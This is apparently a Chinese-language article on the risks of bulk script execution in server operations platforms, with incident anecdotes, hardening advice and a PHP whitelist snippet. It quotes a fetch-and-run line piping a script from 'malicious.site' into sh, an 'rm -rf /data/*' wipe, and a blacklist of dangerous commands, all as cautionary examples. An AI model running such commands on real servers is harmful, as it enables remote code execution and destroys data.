公司刚入职的小李，接到一个紧急任务：批量更新服务器上的安全补丁。他打开运维平台，点开脚本执行功能，上传了一段 Shell 脚本，勾选了20台服务器，点击“执行”。不到两分钟，补丁全部打完。效率确实高，但没人注意到，那条脚本里有一行可疑的命令——curl http://malicious.site/install.sh | sh。
脚本执行功能到底是什么？
运维平台的脚本执行功能，简单说就是让管理员能一次性在多台服务器上运行指定的命令或脚本。比如重启服务、清理日志、部署应用，甚至配置系统参数。不需要逐台登录，省时省力。
常见的使用方式是通过 Web 界面输入命令，或者上传一个 .sh、.py 脚本文件，选择目标机器后直接运行。有些平台还支持定时执行、结果回传、失败重试等高级功能。
方便的背后藏着什么风险？
某电商公司在一次例行维护中，运维人员误将测试环境的清理脚本用到了生产环境。脚本里有一句 rm -rf /data/*，原本只应在测试机运行。结果15台核心数据库服务器数据被清空，恢复花了整整36小时，损失上百万元。
这种事故的核心问题在于权限失控和操作不可控。脚本执行功能一旦被滥用或误用，影响范围往往是批量性的。更危险的是，如果平台本身存在漏洞，攻击者可能通过注入恶意脚本获取服务器权限。
真实攻击案例：从脚本入口拿下内网
2023年，某企业运维平台因未及时修复 CVE 漏洞，被攻击者利用，在脚本执行界面注入了一段 Python 反向 shell 代码。该脚本在所有被选中的服务器上运行，成功建立多个外联通道。攻击者借此横向移动，最终窃取了客户订单数据库。
这类攻击之所以成功，是因为很多运维平台默认以 root 或 system 权限运行脚本，几乎没有二次确认机制。只要能登录平台，就能执行任意命令。
怎么用才安全？
限制执行账号权限是最基本的一条。不要用 root 运行脚本，创建专用的低权限运维账号，只能执行预设目录下的脚本。比如只允许运行 /opt/scripts/allowed/ 下的文件。
启用审批流程也很关键。敏感操作比如删除数据、修改网络配置，必须经过第二人审核才能执行。有些平台支持“工单+审批”模式，能有效防止误操作。
所有脚本应纳入版本控制。每次上传新脚本，都需提交到 Git 仓库，记录谁改了什么。执行时平台自动拉取审核通过的版本，避免临时粘贴不可信代码。
还可以设置命令黑名单。比如禁止使用 rm -rf、reboot、shutdown 等高危指令，或者要求附加确认参数才能运行。
举个实际防护的例子
某金融公司的做法值得参考：他们把脚本执行功能拆成三个环节——编写、审核、执行。开发人员写好脚本后推送到 GitLab，触发 CI 流水线自动扫描敏感命令。通过后由安全团队人工复核，合并进主分支。最终运维平台只能从主分支拉取脚本执行，无法手动输入命令。
同时，所有执行记录实时同步到 SIEM 系统，一旦发现异常行为（如深夜批量执行），立即触发告警。
<?php
// 示例：简单的脚本执行接口防护逻辑
$allowed_scripts = array('backup.sh', 'restart_service.py');
$user_input = $_POST['script_name'];
if (!in_array($user_input, $allowed_scripts)) {
die('脚本未授权');
}
// 只允许执行白名单内的脚本
exec("/usr/local/bin/" . escapeshellcmd($user_input), $output, $status);
echo implode('\n', $output);
?>运维平台的脚本执行功能就像一把双刃剑。用得好，能大幅提升效率；用得不好，一次点击就可能导致全线瘫痪。真正的安全不是靠事后补救，而是在每一次执行前多问一句：这条命令，真的没问题吗？